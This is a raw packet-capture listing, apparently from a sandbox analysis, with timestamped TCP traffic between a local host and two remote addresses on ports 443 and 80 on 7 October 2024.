Oct 7, 2024 18:00:20.113785982 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:20.116848946 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:20.128477097 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.130934000 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.130969048 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.131014109 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:20.131603956 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:20.133209944 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:20.138140917 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.195262909 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.205003977 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.205086946 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:20.213624001 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.223716021 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.223818064 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:20.223884106 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.248895884 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:20.248965979 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:20.250046968 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:20.250428915 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:20.252435923 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:20.253952026 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.255647898 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.298228025 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.339653969 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.339715958 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.339780092 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:20.341933966 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.342012882 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.342022896 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.342071056 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:20.344291925 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.344373941 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:20.344419003 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.344444036 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.344543934 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.344571114 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:20.392009020 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:20.433475971 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:20.433588028 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:20.491628885 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:20.492389917 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:20.493103981 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:20.494182110 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:20.494254112 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:20.495151043 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:20.496910095 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.498034000 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:20.498322964 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.499352932 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.499766111 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.500471115 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.626087904 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.626399040 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.626409054 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.626466036 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:20.629656076 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:20.634524107 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.660188913 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.660393000 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.660403967 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.660458088 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:20.661818027 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.661878109 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:20.661964893 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.664864063 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:20.664947987 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:20.665894032 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:20.665994883 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:20.669965982 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.670792103 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.742928982 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.746047974 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:20.755744934 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.755851030 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.755901098 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:20.758727074 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:20.759905100 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.759919882 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.759984016 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:20.810091019 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.838635921 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.891947985 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:20.965101957 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:21.016935110 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:21.035376072 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:21.035440922 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:21.037648916 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:21.042557001 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:21.222153902 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:21.222223043 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:21.222412109 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:21.222457886 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:21.223915100 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:21.228737116 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:21.429562092 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:21.429641962 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:21.429652929 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:21.429675102 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:21.429718971 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:21.429718971 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:21.429761887 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:21.429773092 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:21.429783106 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:21.429828882 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:21.429843903 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:21.431706905 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:21.436579943 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:21.701387882 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:21.701459885 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:21.716806889 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:21.716862917 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:21.721879959 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:21.721899033 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:21.721900940 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:21.721901894 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:21.721903086 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:21.722023010 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.010288000 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.010410070 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.010967970 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.016143084 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.181516886 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.181550026 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.181560993 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.181597948 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.181597948 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.181612015 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.181665897 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.181665897 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.182070971 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.182123899 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.182128906 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.182142019 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.182179928 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.182437897 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.182457924 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.182490110 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.182521105 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.182758093 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.182770014 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.182781935 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.182811975 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.182842970 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.183068037 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.183079004 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.183129072 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.183511972 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.183572054 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.183583021 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.183595896 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.183629036 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.183659077 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.184107065 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.184155941 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.275434017 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.275501013 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.275512934 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.275525093 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.275597095 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.275640011 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.275805950 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.275816917 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.275826931 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.275852919 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.275882959 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.277004957 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.277015924 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.277026892 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.277036905 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.277046919 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.277057886 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.277067900 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.277075052 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.277107954 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.277107954 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.277647972 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.277658939 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.277668953 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.277678967 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.277688980 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.277698994 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.277707100 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.277710915 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.277738094 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.277770042 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.277921915 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.277956963 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.277967930 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.277971029 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.278000116 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.278029919 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.278093100 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.278103113 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.278112888 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.278122902 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.278148890 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.278178930 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.278911114 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.279030085 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.310318947 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.310352087 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.310364008 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.310394049 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.310436964 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.345062017 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.345139980 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.345189095 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.345200062 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.345237970 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.345371008 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.345423937 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.348263025 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.348274946 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.348284960 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.348324060 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.348357916 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.348357916 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.348367929 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.348408937 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.348793030 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.348804951 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.348843098 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.348855972 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.348900080 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.348911047 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.348921061 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.348932028 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.348942041 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.348946095 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.348982096 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.349121094 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.349132061 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.349168062 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.349467039 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.349478006 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.349487066 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.349528074 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.349554062 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.349612951 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.349623919 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.349633932 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.349646091 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.349657059 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.349687099 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.349834919 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.349845886 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.349889994 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.350353003 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.350363016 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.350373030 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.350405931 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.350428104 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.350431919 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.350441933 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.350451946 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.350462914 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.350478888 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.350508928 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.350590944 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.350775003 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.394422054 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.394434929 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.394473076 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.394491911 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.394524097 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.394546986 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.394560099 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.394577980 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.394593000 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.394632101 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.394645929 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.394654036 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.394679070 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.394711971 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.394728899 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.394804001 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.394973040 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.395006895 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.395040989 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.395042896 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.395061970 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.395102024 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.395112038 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.395144939 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.395176888 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.395186901 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.395186901 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.395226002 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.395226002 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.395258904 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.395276070 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.395294905 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.395315886 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.395337105 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.395787001 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.395821095 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.395857096 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.395890951 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.395944118 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.396019936 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.396054029 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.396081924 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.396105051 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.428579092 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.428644896 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.428663969 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.428693056 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.428695917 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.428730965 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.428742886 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.428764105 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.428774118 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.428797007 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.428826094 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.428844929 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.431644917 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.431679010 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.431701899 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.431715012 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.431723118 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.431759119 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.431807041 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.431839943 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.431853056 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.431888103 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.431888103 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.431936026 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.431941032 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.431981087 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.432060003 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.432111979 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.432174921 CEST	49718	80	192.168.2.6	46.8.231.109
